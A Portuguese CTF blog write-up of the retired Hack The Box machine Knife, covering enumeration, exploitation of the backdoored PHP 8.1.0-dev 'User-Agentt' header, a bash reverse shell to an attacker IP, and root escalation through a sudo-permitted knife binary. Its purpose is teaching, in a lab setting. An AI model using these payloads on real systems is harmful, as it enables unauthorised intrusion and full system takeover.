2 minuto(s) de leitura Read also in :us: Compartilhar

Olá!

A máquina desta semana será Knife, outra máquina Linux classificada como fácil do Hack The Box, criada por MrKN16H.

:information_source: Info: Write-ups para máquinas do Hack The Box são postados assim que as máquinas são aposentadas.

HTB Knife

Esta máquina foi bem simples, onde você deve prestar atenção aos detalhes (no caso do webserver vulnerável) e sempre ir pelo caminho mais simples como abusar das permissões de sudo que o usuário já possui.

Espero que gostem!

Enumeração

Como de costume, iniciei com um scan rápido do nmap para verificar os serviços publicados nesta máquina:

$ nmap -sC -sV -Pn -oA quick 10.10.10.242
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 17:50 -03
Nmap scan report for 10.10.10.242
Host is up (0.072s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds

80/TCP - Serviço HTTP

Acessando o website podemos ver uma simples página institucional de uma companhia do setor de saúde, conforme abaixo:

HTB Knife - HTTP Service

Após acessar a página, obtido algumas informações adicionais, os componentes utilizados e qual o webserver em execução com ajuda do whatweb e o que chamou a atenção foi o cabeçalho X-Powered-By que aponta para uma versão de desenvolvimento do PHP 8.1.0.

$ whatweb --color=never -a 3 10.10.10.242 | tee whatweb.txt
http://10.10.10.242 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.242], PHP[8.1.0-dev], , Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]

Acesso inicial e User flag

Como versões de desenvolvimento frequentemente contém vulnerabilidades, decidi buscar a respeito da mesma com searchsploit e encontrei uma vulnerabilidade de execução remota de código (RCE - Remote Code Execution) conforme listado abaixo:

$ searchsploit "8.1.0-dev"
---------------------------------------------------------------------- ----------------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ----------------------------
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution                   | php/webapps/49933.py
---------------------------------------------------------------------- ----------------------------
Shellcodes: No Results

Esta vulnerabilidade consiste em um backdoor adicionado em alguns commits por contas comprometidas no código fonte do PHP onde, sempre que um request contém o cabeçalho User-Agentt: "zerodiumsystem('cmd');" é enviado, seu conteúdo é interpretado e executado, neste caso o conteúdo cmd. O exploit disponível simula um shell de modo não interativo e, a partir dele, iniciei um shell reverso interativo com o payload bash -c 'bash -i >& /dev/tcp/10.10.10.10/4443 0>&1' que nos retornou uma sessão a partir da conta do usuário james, onde encontramos o arquivo user.txt e foi possível ler seu conteúdo, obtendo a primeira flag.

james@knife:~$ id && hostname
uid=1000(james) gid=1000(james) groups=1000(james)
knife
james@knife:~$ cat user.txt
<redacted>

Root flag

Como de costume, iniciei com o comando sudo -l e tive sorte mais uma vez, vendo o seguinte output:

james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
   env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
   (root) NOPASSWD: /usr/bin/knife              

Realizando uma busca rápida a respeito do binário, encontrei que se trata de parte da solução de gestão de configuração Chef e, de acordo com a página knife | GTFOBins, poderia ser utilizada facilmente para escalar privilégio como root, conforme abaixo, nos permitindo obter a última flag :smiley:

james@knife:~$ sudo /usr/bin/knife --help                                                                                 Chef Infra Client: 16.10.8

Docs: https://docs.chef.io/workstation/knife/
Patents: https://www.chef.io/patents

[...]

james@knife:~$ sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
# cat root.txt
<redacted>

Espero que tenham gostado!

Vejo vocês no próximo post :smile: